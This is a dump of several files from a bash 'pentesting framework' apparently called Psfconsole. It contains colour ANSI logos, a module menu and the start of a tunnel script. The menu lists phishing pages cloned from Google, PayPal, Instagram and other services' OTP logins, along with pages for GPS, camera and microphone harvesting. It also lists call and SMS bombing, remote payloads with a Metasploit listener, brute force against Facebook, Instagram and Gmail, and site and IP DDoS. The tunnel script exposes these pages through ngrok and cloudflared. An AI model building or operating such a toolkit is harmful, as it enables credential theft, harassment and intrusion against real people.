\e[48;5;175;38;5;175m█\e[48;5;218;38;5;218m██\e[48;5;211;38;5;175m▄\e[48;5;218;38;5;218m████████\e[48;5;161;38;5;161m█\e[48;5;204;38;5;204m█\e[38;5;161m▄▄\e[38;5;204m███\e[38;5;161m▄\e[48;5;161m██\e[38;5;204m▄\e[48;5;204;38;5;161m▄\e[48;5;161m█\e[48;5;204;38;5;204m█████\e[38;5;161m▄▄\e[38;5;204m████\e[48;5;161;38;5;161m█\e[48;5;204;38;5;204m█\e[48;5;161;38;5;161m█\e[49;39m \e[00m\n";SL 20 | printf " \e[38;5;161m▄▀\e[39m \e[38;5;175m▀▀\e[48;5;175m█\e[48;5;218m▄▄▄▄▄\e[38;5;218m███\e[38;5;161m▄\e[48;5;161;38;5;204m▄\e[48;5;204;38;5;161m▄▄\e[48;5;161;38;5;204m▄\e[48;5;204;38;5;161m▄\e[48;5;161;38;5;204m▄\e[48;5;204m█\e[48;5;161;38;5;161m█\e[38;5;175m▄\e[48;5;204;38;5;204m█\e[48;5;161;38;5;161m██\e[48;5;204m▄\e[38;5;204m███\e[38;5;161m▄\e[48;5;161;38;5;204m▄\e[48;5;204m█\e[48;5;161;38;5;161m█\e[48;5;204;38;5;204m██\e[48;5;161;38;5;161m█\e[48;5;204;38;5;204m█\e[38;5;161m▄\e[49m▀\e[39m \e[00m\n";SL 21 | printf " \e[38;5;204m▀\e[39m \e[48;5;175;38;5;175m█\e[48;5;218;38;5;218m█\e[38;5;161m▄\e[48;5;161;38;5;204m▄\e[48;5;204m██\e[38;5;161m▄▄\e[48;5;161m█\e[48;5;204m▄\e[48;5;161;38;5;218m▄▄\e[48;5;218;38;5;228m▄▄\e[48;5;175;38;5;218m▄\e[49;38;5;175m▄\e[39m \e[38;5;161m▀▀\e[48;5;204m▄▄\e[48;5;161m█\e[48;5;204m▄▄\e[48;5;161;38;5;204m▄\e[48;5;204m█\e[48;5;161;38;5;161m█\e[48;5;204;38;5;204m█\e[48;5;161m▄\e[49;38;5;161m▄\e[39m \e[00m\n";SL 22 | printf " \e[48;5;175;38;5;175m█\e[48;5;218;38;5;218m█\e[48;5;161;38;5;161m█\e[48;5;204;38;5;204m██\e[48;5;161m▄\e[48;5;204;38;5;161m▄\e[38;5;204m█\e[48;5;161m▄\e[48;5;218;38;5;161m▄\e[38;5;218m███\e[48;5;228m▄\e[48;5;218;38;5;81m▄\e[48;5;175m▄\e[38;5;175m█\e[49;39m \e[48;5;161;38;5;161m█\e[48;5;204;38;5;204m███\e[38;5;161m▄\e[48;5;161;38;5;204m▄\e[48;5;204m███\e[48;5;161m▄\e[49;38;5;161m▄\e[39m\e[00m\n";SL 23 | printf " \e[48;5;175;38;5;175m█\e[48;5;161;38;5;218m▄\e[48;5;204;38;5;161m▄\e[38;5;204m█\e[38;5;161m▄\e[48;5;161;38;5;204m▄\e[48;5;204;38;5;161m▄▄\e[48;5;161;38;5;218m▄\e[48;5;218m█\e[38;5;175m▄\e[48;5;81;38;5;81m█\e[48;5;218;38;5;218m█\e[48;5;81;38;5;228m▄\e[38;5;218m▄\e[48;5;175;38;5;175m█\e[49;39m \e[48;5;161;38;5;161m█\e[48;5;204;38;5;204m██\e[48;5;161m▄\e[38;5;161m█\e[38;5;204m▄▄▄\e[38;5;161m█\e[48;5;204m▄\e[38;5;204m█\e[48;5;161;38;5;161m█\e[49;39m\e[00m\n";SL 24 | printf " \e[48;5;175;38;5;169m▄\e[48;5;218m▄\e[48;5;161;38;5;218m▄\e[38;5;161m█\e[38;5;204m▄\e[48;5;218;38;5;218m████\e[48;5;175;38;5;175m█\e[48;5;228;38;5;218m▄\e[48;5;218m███\e[48;5;175;38;5;175m█\e[49;39m \e[38;5;161m▀\e[48;5;204m▄\e[38;5;204m███\e[48;5;161;38;5;161m██\e[48;5;204m▄▄\e[48;5;161m██\e[49m▀\e[39m\e[00m\n";SL 25 | printf " \e[38;5;169m▄\e[48;5;169m█\e[38;5;175m▄\e[48;5;175;38;5;218m▄▄\e[48;5;161m▄\e[38;5;161m█\e[48;5;218;38;5;218m█\e[48;5;175;38;5;175m█\e[49m▀\e[48;5;175;38;5;169m▄\e[38;5;175m█\e[48;5;218m▄\e[38;5;218m███\e[48;5;175;38;5;175m█\e[38;5;218m▄\e[38;5;175m█\e[49;39m \e[38;5;161m▀\e[48;5;204m▄\e[48;5;161m█\e[48;5;204m▄▄\e[38;5;204m██\e[48;5;161;38;5;161m█\e[49;39m \e[38;5;161m▄\e[39m\e[00m\n";SL 26 | printf " \e[38;5;169m▄\e[48;5;169;38;5;211m▄\e[48;5;211m█\e[48;5;175;38;5;175m█\e[38;5;218m▄\e[48;5;218m██\e[38;5;175m▄▄\e[48;5;161m▄\e[49m▀\e[48;5;169;38;5;169m█\e[38;5;211m▄\e[48;5;211m██\e[48;5;175;38;5;175m█\e[38;5;218m▄\e[48;5;218m██\e[38;5;175m▄\e[49m▀\e[39m \e[38;5;161m▄\e[48;5;161;38;5;204m▄\e[48;5;204m█\e[38;5;161m▄\e[48;5;161m█\e[49m▄▄\e[48;5;161m█\e[49;39m\e[00m\n";SL 27 | printf " \e[48;5;169;38;5;169m█\e[48;5;211m▄\e[48;5;175;38;5;175m█\e[48;5;218;38;5;218m████\e[48;5;175;38;5;175m█\e[49;39m \e[48;5;169;38;5;169m█\e[48;5;211;38;5;211m██\e[38;5;175m▄\e[48;5;175;38;5;218m▄\e[48;5;218m███\e[38;5;175m▄\e[49m▀\e[39m \e[38;5;161m▀\e[48;5;204m▄▄▄▄\e[49m▀▀\e[39m \e[00m\n";SL 28 | printf " \e[48;5;175;38;5;175m█\e[48;5;218;38;5;218m████\e[48;5;175;38;5;175m█\e[49;39m \e[38;5;169m▀▀\e[48;5;175;38;5;175m█\e[48;5;218;38;5;218m█████\e[48;5;175;38;5;175m█\e[49;39m \e[00m\n";SL 29 | printf " \e[38;5;175m▀▀▀▀▀▀\e[39m \e[38;5;175m▀▀▀▀▀▀\e[39m \e[00m\n";SL 30 | printf " \e[00m\n";SL 31 | -------------------------------------------------------------------------------- /assets/programs/list.module: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Modules Names 4 | 5 | declare -a MODULE=( 6 | 'phish' 'bomber' 'lookup' 'remote' 'brute' 'attack' 'secure' 'system' 'mask' 'find' 'identify' 'scan' 'local' 7 | ) 8 | 9 | # SubModules Names 10 | 11 | declare -a SUBMODULE=( 'otpweb' 'notpweb' 'gpsweb' 'camweb' 'micweb' 'callnsms' 'user' 'number' 'mac' 'coordinate' 'payload' 'social' 'hashes' 'ddos' 'hashes' 'passwd' 'binary' 'nurl' 'proxy' 'ip' 'hashid' 'virus' 'pwned' 'server' 12 | ) 13 | 14 | getMSnum() 15 | { 16 | case "${MNUM}" in 17 | 18 | 1) 19 | PSUBMODULE=('otpweb' 'notpweb' 'gpsweb' 'camweb' 'micweb' ) 20 | ;; 21 | 2) 22 | PSUBMODULE=('callnsms') 23 | ;; 24 | 3) 25 | PSUBMODULE=('user' 'number' 'mac' 'coordinate') 26 | ;; 27 | 4) 28 | PSUBMODULE=('payload') 29 | ;; 30 | 5) 31 | PSUBMODULE=('social' 'hashes') 32 | ;; 33 | 6) 34 | PSUBMODULE=('ddos') 35 | ;; 36 | 7) 37 | PSUBMODULE=('hashes' 'passwd') 38 | ;; 39 | 8) 40 | PSUBMODULE=('binary') 41 | ;; 42 | 9) 43 | PSUBMODULE=('nurl') 44 | ;; 45 | 10) 46 | PSUBMODULE=('proxy' 'ip' 'hashes') 47 | ;; 48 | 11) 49 | PSUBMODULE=('hashid') 50 | ;; 51 | 12) 52 | PSUBMODULE=('virus' 'pwned') 53 | ;; 54 | 13) 55 | PSUBMODULE=('server') 56 | ;; 57 | esac 58 | } 59 | 60 | # Print Modules Names 61 | 62 | declare -a SHOWMODULES=( 63 | "┌[phish 64 | └────┬───────┬───────┬───────┬───► otpweb 65 | notpweb gpsweb camweb micweb 66 | " 67 | 68 | "┌[bomber 69 | └───────► callnsms 70 | " 71 | 72 | "┌[lookup 73 | └───┬──────┬────────┬──────► user 74 | number mac coordinate 75 | " 76 | 77 | "┌[remote 78 | └───────► payload 79 | " 80 | 81 | "┌[brute 82 | └───┬────► social 83 | hashes 84 | " 85 | 86 | "┌[attack 87 | └────────► ddos 88 | " 89 | 90 | "┌[secure 91 | └───┬────► hashes 92 | passwd 93 | " 94 | 95 | "┌[system 96 | └────────► binary 97 | " 98 | 99 | "┌[mask 100 | └──────► nurl 101 | " 102 | 103 | "┌[find 104 | └───┬─────┬─────► proxy 105 | ip hashes 106 | " 107 | 108 | "┌[identify 109 | └─────────► hashid 110 | " 111 | 112 | "┌[scan 113 | └────┬───► virus 114 | pwned 115 | " 116 | 117 | "┌[local 118 | └───────► server" 119 | ) 120 | 121 | # <--- Module 1 - Sub 1 ---> 122 | 123 | declare -a M1S1=( 124 | 'Google.OTP' 125 | 'Facebook.OTP' 126 | 'Instagram.OTP' 127 | 'Pinterest.OTP' 128 | 'Amazon.OTP' 129 | 'Twitch.OTP' 130 | 'Snapchat.OTP' 131 | 'Ebay.OTP' 132 | 'Linkedin.OTP' 133 | 'Netflix.OTP' 134 | 'Paytm.OTP' 135 | 'Gitlab.OTP' 136 | 'CryptoCurrency.OPT' 137 | 'Instafollow.OTP' 138 | 'Protonmail.OTP' 139 | 'Yahoo.OTP' 140 | 'Paypal.OTP' 141 | 'Telegram.OTP' 142 | 'Mobikwik.OTP' 143 | 'Wordpress.OTP' 144 | 'Hotstar.OTP' 145 | 'Flipkart.OTP' 146 | 'Twitter.OTP' 147 | 'Spotify.OTP' 148 | 'Phonepay.OTP' 149 | 'StackoverFlow.OTP' 150 | 'WhatsApp.OTP' 151 | 'Tiktok.OTP' 152 | 'Ajio.OTP' 153 | 'Uber.OTP' 154 | ) 155 | 156 | # <--- Module 1 - Sub 2 ---> 157 | 158 | declare -a M1S2=( 159 | Google 160 | Facebook 161 | Microsoft 162 | Instagram 163 | DeviantArt 164 | Pinterest 165 | Badoo 166 | Twitch 167 | Snapchat 168 | Ebay 169 | Linkedin 170 | DropBox 171 | Netflix 172 | Mediafire 173 | Gitlab 174 | Github 175 | Yahoo 176 | Paypal 177 | Quora 178 | Wordpress 179 | Steam 180 | Yandex 181 | Twitter 182 | Spotify 183 | StackoverFlow 184 | Playstation 185 | Reddit 186 | Tiktok 187 | Adobe 188 | Xbox 189 | ) 190 | 191 | # <--- Module 1 - Sub 3 ---> 192 | 193 | declare -a M1S3=( 194 | NearYou 195 | Telegram 196 | WhatsApp 197 | Gdrive 198 | ) 199 | 200 | # <--- Module 1 - Sub 4 ---> 201 | 202 | declare -a M1S4=( 203 | Festival 204 | FriendBook 205 | JioOffer 206 | YouTube 207 | ) 208 | 209 | # <--- Module 1 - Sub 5 ---> 210 | 211 | declare -a M1S5=( 212 | 'DefaultPage' 213 | ) 214 | 215 | # <--- Module 2 - Sub 1 ---> 216 | declare -a M2S1=( 217 | 'Call & Sms Bombing' 218 | 'Sms Sender' 219 | ) 220 | 221 | 222 | # <--- Module 3 - Sub 1 ---> 223 | 224 | declare -a M3S1=( 225 | 'Username gethering' 226 | 'IP Address lookup' 227 | ) 228 | 229 | # <--- Module 3 - Sub 2 ---> 230 | 231 | declare -a M3S2=( 232 | 'Number lookup' 233 | ) 234 | 235 | # <--- Module 3 - Sub 3 ---> 236 | 237 | declare -a M3S3=( 238 | 'Mac lookup' 239 | ) 240 | 241 | # <--- Module 3 - Sub 4 ---> 242 | 243 | declare -a M3S4=( 244 | 'Coordinate lookup' 245 | ) 246 | 247 | # <--- Module 4 - Sub 1 ---> 248 | 249 | declare -a M4S1=( 250 | 'Android Payload (Normal)' 251 | 'Android Payload (Advanced)' 252 | 'Windows Payload' 253 | 'Linux Payload x86_64' 254 | 'Linux Payload x64' 255 | 'Mac Payload x86_64' 256 | 'Mac Payload x64' 257 | 'Php Payload' 258 | 'Python Payload' 259 | 'Start Recent Msf Listner' 260 | ) 261 | 262 | 263 | # <--- Module 5 - Sub 1 ---> 264 | 265 | declare -a M5S1=( 266 | 'Facebook Bruteforce' 267 | 'Instagram Bruteforce' 268 | 'Gmail Bruteforce' 269 | ) 270 | 271 | # <--- Module 5 - Sub 2 ---> 272 | 273 | declare -a M5S2=( 274 | 'Md5 Bruteforce (Online)' 275 | 'Sha1 Bruteforce (Online)' 276 | 'Sha224 Bruteforce (Online)' 277 | 'Sha256 Bruteforce (Online)' 278 | 'Sha512 Bruteforce (Online)' 279 | 'Ntml Bruteforce (Offline)' 280 | 'Md5 Bruteforce (Offline)' 281 | 'Sha1 Bruteforce (Offline)' 282 | 'Sha224 Bruteforce (Offline)' 283 | 'Sha256 Bruteforce (Offline)' 284 | 'Sha384 Bruteforce (Offline)' 285 | 'Sha512 Bruteforce (Offline)' 286 | ) 287 | 288 | # <--- Module 6 - Sub 1 ---> 289 | 290 | declare -a M6S1=( 291 | 'Site DDOS Attack' 292 | 'IP DDOS Attack' 293 | ) 294 | 295 | 296 | # <--- Module 7 - Sub 1 ---> 297 | 298 | declare -a M7S1=( 299 | Md5sum 300 | Sha1sum 301 | Sha224sum 302 | Sha256sum 303 | Sha384sum 304 | Sha512sum 305 | Base64 306 | Base32 307 | Hashes 308 | ) 309 | 310 | # <--- Module 7 - Sub 2 ---> 311 | 312 | declare -a M7S2=( 313 | 'Valid Number' 314 | 'Valid String' 315 | 'Valid Number+String' 316 | 'Valid Special Character' 317 | 'Valid String+Special Character' 318 | 'Valid Number+Special Character' 319 | 'Valid Number+String+Special Character' 320 | ) 321 | 322 | 323 | # <--- Module 8 - Sub 1 ---> 324 | 325 | declare -a M8S1=( 326 | 'Binary Encoding' 327 | 'Binary Decoding' 328 | ) 329 | 330 | # <--- Module 9 - Sub 1 ---> 331 | 332 | declare -a M9S1=( 333 | 'rebrand.ly' 334 | 'tinyurl' 335 | 'is.gd' 336 | 'v.gd' 337 | ) 338 | 339 | # <--- Module 10 - Sub 1 ---> 340 | 341 | declare -a M10S1=( 342 | 'Get Proxy' 343 | ) 344 | 345 | # <--- Module 10 - Sub 2 ---> 346 | 347 | declare -a M10S2=( 348 | 'Search query for IPs' 349 | ) 350 | 351 | # <--- Module 10 - Sub 3 ---> 352 | 353 | declare -a M10S3=( 354 | 'Online MD5 Hash' 355 | ) 356 | 357 | # <--- Module 11 - Sub 1 ---> 358 | 359 | declare -a M11S1=( 360 | 'Identify Hash Algorithms' 361 | ) 362 | 363 | # <--- Module 12 - Sub 1 ---> 364 | 365 | declare -a M12S1=( 366 | 'Scan a file includes (all results)' 367 | 'Scan a file excludes (not detected)' 368 | 'Scan a file excludes (cli,link only)' 369 | ) 370 | 371 | # <--- Module 12 - Sub 2 ---> 372 | 373 | declare -a M12S2=( 374 | 'Have I been pwned ?' 375 | 'Pwned password' 376 | ) 377 | 378 | # <--- Module 13 - Sub 1 ---> 379 | 380 | declare -a M13S1=( 381 | 'Localhost (Offline)' 382 | 'Cloudflare (Online)' 383 | 'Ngrok (Online)' 384 | ) 385 | 386 | 387 | list() { 388 | declare -n MS=M${1}S${2} 389 | ARG_MS=M${1}S${2} 390 | eval ARG_MS=\( \${${ARG_MS}[@]} \) 391 | lim=${#MS[@]} 392 | 393 | if [[ ${lim} -gt 9 ]] 394 | then 395 | m=8 396 | n=9 397 | else 398 | m=$((lim - 1)) 399 | fi 400 | 401 | if [[ ${3} == "N" ]] 402 | then 403 | if [[ ${lim} == 1 ]] 404 | then 405 | LIMIT=$(printf "run") 406 | else 407 | LIMIT=$(printf "${#MS[@]}") 408 | fi 409 | else 410 | echo 411 | 412 | if [[ ${lim} == 1 ]] 413 | then 414 | printf "${C4}(${R0}run${C4})${R0} ${MS}\n" 415 | else 416 | for (( i = 0; i <= $m ; i++ )) 417 | do 418 | printf "${C4}(${R0}0$((i+1))${C4})${R0} ${MS[i]}\n" 419 | WAIT 420 | done 421 | fi 422 | 423 | if [[ ${lim} -gt 9 ]] 424 | then 425 | for (( i = $n; i < $lim ; i++ )) 426 | do 427 | printf "${C4}(${R0}$((i+1))${C4})${R0} ${MS[i]}\n" 428 | WAIT 429 | done 430 | fi 431 | 432 | echo 433 | fi 434 | } 435 | 436 | -------------------------------------------------------------------------------- /assets/logos/logo.18: -------------------------------------------------------------------------------- 1 | 2 | SL() { 3 | sleep 0.01 4 | } 5 | 6 | 7 | printf "\e[0m\e[0m _________________________ \e[0m\n";SL 8 | printf "\e[92m<\e[0m Welcome To Psfconsole !\e[92m />\e[0m\n";SL 9 | printf "\e[0m ------------------------- \e[0m\e[00m\n";SL 10 | printf " \e[0m\e[0m\e[00m\n";SL 11 | printf " \e[0m\e[0m \e[00m\n";SL 12 | printf " \e[38;5;74m▀▄▄▄▄▄▄▄▄\e[39m \e[0m\e[0m \e[00m\n";SL 13 | printf " \e[38;5;74m▀▀\e[48;5;54m▄▄▄▄▄\e[48;5;74m█\e[38;5;54m▄▄▄\e[49;38;5;74m▄\e[39m \e[0m\e[0m \e[00m\n";SL 14 | printf " \e[38;5;74m▄\e[48;5;74m███\e[38;5;113m▄▄\e[38;5;229m▄▄\e[38;5;74m██\e[48;5;54m▄\e[38;5;54m█\e[48;5;74;38;5;74m█\e[49;39m \e[0m\e[0m \e[00m\n";SL 15 | printf " \e[38;5;74m▄\e[48;5;74m██\e[38;5;113m▄\e[48;5;113m█\e[38;5;229m▄▄\e[48;5;229m█\e[38;5;209m▄▄\e[38;5;229m██\e[48;5;74;38;5;113m▄\e[38;5;74m█\e[48;5;54;38;5;54m█\e[48;5;74;38;5;74m█\e[49;39m \e[0m\e[0m \e[00m\n";SL 16 | printf " \e[38;5;74m▄\e[48;5;74m█\e[48;5;113;38;5;113m█\e[38;5;229m▄\e[48;5;229m███\e[48;5;209;38;5;209m██\e[38;5;203m▄\e[38;5;209m██\e[48;5;229m▄\e[48;5;113;38;5;229m▄\e[48;5;74;38;5;74m█\e[38;5;54m▄\e[49;38;5;74m▄\e[39m \e[0m\e[0m \e[00m\n";SL 17 | printf "\e[38;5;74m▄\e[48;5;74m█\e[48;5;113;38;5;113m██\e[48;5;229;38;5;229m███\e[48;5;209;38;5;209m█\e[38;5;203m▄\e[48;5;203m██\e[38;5;74m▄\e[49m▀▀\e[48;5;209m▄\e[48;5;113;38;5;229m▄\e[48;5;74;38;5;74m██\e[49;39m \e[0m\e[0m \e[00m\n";SL 18 | printf "\e[48;5;74;38;5;74m██\e[48;5;113;38;5;113m██\e[48;5;229;38;5;229m██\e[48;5;209;38;5;209m██\e[48;5;203;38;5;203m█\e[48;5;74;38;5;74m█\e[48;5;203m▄\e[48;5;74;38;5;209m▄\e[49;38;5;74m▄\e[39m \e[48;5;74;38;5;74m█\e[48;5;209;38;5;209m█\e[48;5;74;38;5;113m▄\e[38;5;74m█\e[49;39m \e[0m\e[0m \e[00m\n";SL 19 | printf "\e[48;5;74;38;5;74m██\e[48;5;113m▄\e[38;5;113m█\e[48;5;229;38;5;229m██\e[48;5;209;38;5;74m▄\e[48;5;203;38;5;203m██\e[48;5;74;38;5;74m█\e[49;39m \e[38;5;74m▀▀\e[39m \e[48;5;74;38;5;74m█\e[48;5;203;38;5;203m█\e[48;5;113;38;5;113m█\e[48;5;74;38;5;74m█\e[49;39m \e[0m\e[0m \e[00m\n";SL 20 | printf "\e[38;5;74m▀\e[48;5;74m██\e[48;5;113;38;5;113m█\e[48;5;229m▄\e[38;5;229m█\e[48;5;74;38;5;74m█\e[48;5;203;38;5;203m█\e[38;5;74m▄\e[49m▀\e[39m \e[48;5;74;38;5;74m█\e[48;5;113;38;5;113m█\e[48;5;74;38;5;74m█\e[49;39m \e[0m\e[0m \e[00m\n";SL 21 | printf " \e[38;5;74m▀\e[39m \e[48;5;74;38;5;74m█\e[48;5;113;38;5;113m█\e[48;5;229;38;5;229m█\e[48;5;74;38;5;74m█\e[48;5;209m▄\e[49m▀\e[39m \e[48;5;74;38;5;74m█\e[48;5;113;38;5;209m▄\e[48;5;74;38;5;74m█\e[49;39m \e[0m\e[0m \e[00m\n";SL 22 | printf " \e[48;5;74;38;5;74m█\e[48;5;113;38;5;113m█\e[48;5;229;38;5;74m▄\e[49m▀\e[48;5;74m█\e[49;39m \e[38;5;74m▄▄\e[48;5;74;38;5;117m▄▄▄▄\e[49;38;5;74m▄▄\e[39m \e[0m\e[0m \e[00m\n";SL 23 | printf " \e[38;5;74m▀\e[48;5;113m▄\e[48;5;74m█\e[49;39m \e[38;5;74m▀\e[39m \e[38;5;74m▄\e[48;5;74;38;5;117m▄\e[48;5;117m█\e[38;5;231m▄\e[38;5;117m██████\e[48;5;74m▄\e[49;38;5;74m▄\e[39m \e[0m\e[0m \e[00m\n";SL 24 | printf " \e[38;5;74m▀\e[48;5;74m█\e[49;39m \e[48;5;74;38;5;74m█\e[48;5;117;38;5;117m█\e[48;5;203;38;5;203m█\e[48;5;231;38;5;229m▄\e[38;5;231m██\e[48;5;117;38;5;117m██████\e[48;5;74;38;5;74m█\e[49;39m \e[0m\e[0m \e[00m\n";SL 25 | printf " \e[38;5;74m▄\e[48;5;74m█\e[48;5;117;38;5;117m█\e[48;5;203;38;5;203m█\e[48;5;229;38;5;117m▄\e[48;5;74m▄\e[48;5;117m████████\e[48;5;74;38;5;74m█\e[49;39m \e[0m\e[0m \e[00m\n";SL 26 | printf " \e[48;5;74;38;5;74m█\e[48;5;117;38;5;117m█\e[48;5;74;38;5;74m█\e[48;5;117;38;5;117m████\e[38;5;74m▄\e[38;5;117m██████\e[38;5;74m▄\e[49m▀\e[39m \e[0m\e[0m \e[00m\n";SL 27 | printf " \e[48;5;74;38;5;74m█\e[48;5;117;38;5;117m███\e[48;5;74;38;5;74m█\e[48;5;117m▄▄\e[48;5;74m█\e[48;5;117;38;5;117m███████\e[48;5;74;38;5;74m█\e[49;39m \e[00m\n";SL 28 | printf " \e[38;5;74m▄\e[48;5;74;38;5;117m▄\e[48;5;117m███\e[38;5;74m▄\e[49m▀\e[39m \e[48;5;74;38;5;74m█\e[48;5;117m▄\e[38;5;117m██████\e[48;5;74;38;5;74m█\e[49;39m \e[38;5;74m▄▄▄\e[48;5;74;38;5;203m▄▄▄\e[49;38;5;74m▄▄▄\e[39m \e[00m\n";SL 29 | printf " \e[38;5;74m▄\e[48;5;74;38;5;117m▄\e[48;5;117m████\e[48;5;74;38;5;74m█\e[49;39m \e[38;5;74m▄\e[48;5;74m█\e[38;5;117m▄\e[48;5;117m██\e[38;5;74m▄\e[38;5;117m██\e[48;5;74;38;5;74m█\e[48;5;117;38;5;117m█\e[48;5;74m▄\e[38;5;74m█\e[38;5;229m▄\e[48;5;229m█\e[48;5;209m▄▄\e[38;5;209m██\e[48;5;203m▄▄\e[38;5;203m██\e[48;5;74m▄\e[38;5;74m█\e[49m▀\e[39m \e[00m\n";SL 30 | printf " \e[38;5;74m▀\e[48;5;117m▄\e[38;5;117m██\e[38;5;74m▄\e[49m▀▄\e[48;5;74;38;5;117m▄▄\e[48;5;117m███\e[38;5;74m▄\e[48;5;74;38;5;117m▄\e[48;5;117m█\e[48;5;74;38;5;74m█\e[48;5;117;38;5;117m█\e[48;5;110;38;5;74m▄\e[48;5;117;38;5;117m█\e[48;5;74;38;5;74m█\e[48;5;229m▄▄\e[38;5;229m███\e[48;5;209m▄▄\e[38;5;209m███\e[48;5;203m▄\e[38;5;74m▄\e[48;5;74;38;5;203m▄\e[49;39m \e[00m\n";SL 31 | printf " \e[38;5;74m▀▀\e[39m \e[38;5;74m▄\e[48;5;74m█\e[48;5;117;38;5;117m████\e[48;5;74;38;5;74m█\e[48;5;117;38;5;117m██\e[48;5;74;38;5;74m█\e[48;5;117;38;5;117m█\e[48;5;74;38;5;74m█\e[48;5;117;38;5;117m████\e[48;5;74m▄▄\e[48;5;229;38;5;74m▄\e[38;5;229m██\e[38;5;74m▄\e[48;5;209;38;5;229m▄\e[38;5;209m██\e[48;5;74;38;5;74m█\e[49m▀\e[48;5;209m▄\e[49;39m \e[00m\n";SL 32 | printf " \e[48;5;74;38;5;74m█\e[48;5;117;38;5;117m██\e[48;5;74;38;5;74m█\e[48;5;117m▄\e[48;5;74m█\e[48;5;117;38;5;117m█\e[48;5;74;38;5;74m█\e[48;5;117;38;5;117m██\e[48;5;74;38;5;74m█\e[48;5;117;38;5;117m███\e[38;5;16m▄\e[48;5;16;38;5;231m▄▄\e[48;5;74;38;5;16m▄\e[48;5;117;38;5;74m▄\e[38;5;117m█\e[48;5;74m▄\e[48;5;229;38;5;74m▄\e[48;5;74;38;5;117m▄\e[38;5;16m▄\e[48;5;229;38;5;74m▄\e[48;5;209;38;5;209m██\e[48;5;74;38;5;74m█\e[49;39m \e[00m\n";SL 33 | printf " \e[48;5;74;38;5;74m█\e[48;5;117;38;5;117m██\e[48;5;74;38;5;74m█\e[48;5;117;38;5;117m██\e[48;5;74;38;5;74m█\e[38;5;117m▄\e[38;5;74m█\e[48;5;117;38;5;117m██\e[48;5;74;38;5;74m██\e[48;5;16;38;5;117m▄\e[38;5;74m▄\e[48;5;231;38;5;231m████\e[48;5;16m▄\e[48;5;117;38;5;16m▄\e[38;5;117m██\e[48;5;16;38;5;74m▄\e[48;5;231;38;5;231m█\e[48;5;16;38;5;16m█\e[49m▀\e[48;5;209;38;5;74m▄\e[38;5;209m█\e[48;5;74;38;5;74m█\e[49;39m \e[00m\n";SL 34 | printf " \e[38;5;74m▀▀\e[48;5;117m▄\e[48;5;74;38;5;117m▄\e[48;5;117m█\e[48;5;74;38;5;74m█\e[48;5;117;38;5;117m██\e[48;5;74;38;5;74m█\e[48;5;117;38;5;117m█\e[38;5;74m▄\e[48;5;74m██\e[48;5;117;38;5;117m██\e[48;5;231;38;5;231m██\e[38;5;168m▄\e[48;5;168;38;5;231m▄\e[48;5;231;38;5;168m▄\e[48;5;16;38;5;16m█\e[48;5;117;38;5;117m██\e[48;5;74;38;5;74m█\e[48;5;168;38;5;231m▄\e[48;5;231;38;5;168m▄\e[49;39m \e[38;5;74m▀▀▀\e[39m \e[00m\n";SL 35 | printf " \e[38;5;74m▄\e[48;5;74;38;5;117m▄\e[48;5;117m█\e[48;5;74;38;5;74m█\e[48;5;117;38;5;117m██\e[48;5;74;38;5;74m█\e[48;5;117;38;5;117m██\e[48;5;74;38;5;74m██\e[48;5;113;38;5;113m█\e[48;5;74m▄\e[48;5;117;38;5;74m▄\e[38;5;117m█\e[48;5;231m▄\e[48;5;168;38;5;231m▄\e[48;5;16;38;5;168m▄\e[48;5;168;38;5;231m▄\e[48;5;16;38;5;117m▄\e[48;5;117m██\e[48;5;74m▄\e[48;5;16;38;5;74m▄\e[48;5;168m▄\e[49;39m \e[00m\n";SL 36 | printf " \e[48;5;74;38;5;74m█\e[48;5;117;38;5;117m█\e[38;5;74m▄\e[48;5;74m█\e[48;5;117;38;5;117m██\e[48;5;74;38;5;74m█\e[48;5;117;38;5;117m██\e[48;5;74;38;5;74m███\e[48;5;113m▄\e[48;5;74;38;5;113m▄\e[48;5;117;38;5;74m▄\e[38;5;117m█████████\e[48;5;74;38;5;74m█\e[49;39m \e[00m\n";SL 37 | printf " \e[38;5;74m▀▀\e[39m \e[48;5;74;38;5;74m█\e[48;5;117m▄\e[48;5;74m█\e[48;5;117;38;5;117m██\e[48;5;74;38;5;74m█\e[49;39m \e[48;5;74;38;5;74m█\e[48;5;54;38;5;54m█\e[48;5;74;38;5;74m█\e[48;5;113m▄\e[38;5;113m█\e[48;5;74;38;5;110m▄\e[48;5;117;38;5;74m▄▄▄▄▄▄\e[49m▀▀\e[39m \e[00m\n";SL 38 | printf " \e[38;5;74m▄\e[48;5;74;38;5;117m▄\e[48;5;117m███\e[48;5;74;38;5;74m█\e[49;39m \e[48;5;54;38;5;54m█\e[48;5;74;38;5;74m███\e[48;5;110m▄\e[38;5;110m█\e[48;5;67;38;5;67m█\e[49;39m \e[00m\n";SL 39 | printf " \e[38;5;74m▀\e[48;5;117m▄\e[38;5;117m███\e[48;5;74;38;5;74m█\e[49;39m \e[48;5;54;38;5;54m█\e[48;5;74;38;5;74m█\e[38;5;110m▄\e[38;5;74m█\e[48;5;110;38;5;110m█\e[48;5;67;38;5;67m█\e[49;39m \e[00m\n";SL 40 | printf " \e[38;5;74m▀\e[48;5;117m▄▄\e[49m▀\e[39m \e[48;5;54;38;5;54m█\e[48;5;74;38;5;74m█\e[49;38;5;67m▀\e[48;5;74;38;5;74m█\e[49;38;5;67m▀▀\e[39m \e[00m\n";SL 41 | printf " \e[48;5;74;38;5;74m█\e[49;39m \e[00m\n\n";SL 42 | 43 | -------------------------------------------------------------------------------- /assets/programs/tunnel.configure: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | OS=$(uname -o | grep -o "Android") 4 | ARG=$3 5 | 6 | export POSTDIR=$(pwd | sed "s/\/pentesting-framework//g") 7 | DIR="${POSTDIR}/psf-extramodule" 8 | 9 | if [[ ! $__return__ == 105 ]];then 10 | cd ${DIR}/server &> /dev/null 11 | else 12 | cd server &> /dev/null 13 | fi 14 | 15 | if [[ -f ngrok ]] && [[ -f cloudflared ]] 16 | then 17 | : 18 | else 19 | exit 0 20 | fi 21 | 22 | 23 | CLR() { 24 | printf " \r" 25 | } 26 | 27 | net_check() { 28 | connection="$(curl -Is http://www.google.com &> /dev/null; echo $?)" 29 | if [[ "$connection" != 0 ]] 30 | then 31 | printf "\e[94m(\e[0m>\e[94m)\e[0m Tunnel error, debug: connection\n" 32 | exit 33 | fi 34 | } 35 | stop() { 36 | if [[ $checkngrok == *'ngrok'* ]]; then 37 | pkill -f -2 ngrok > /dev/null 2>&1 38 | killall -2 ngrok > /dev/null 2>&1 39 | fi 40 | checkcloudflared=$(ps aux | grep -o "cloudflared" | head -n1) 41 | 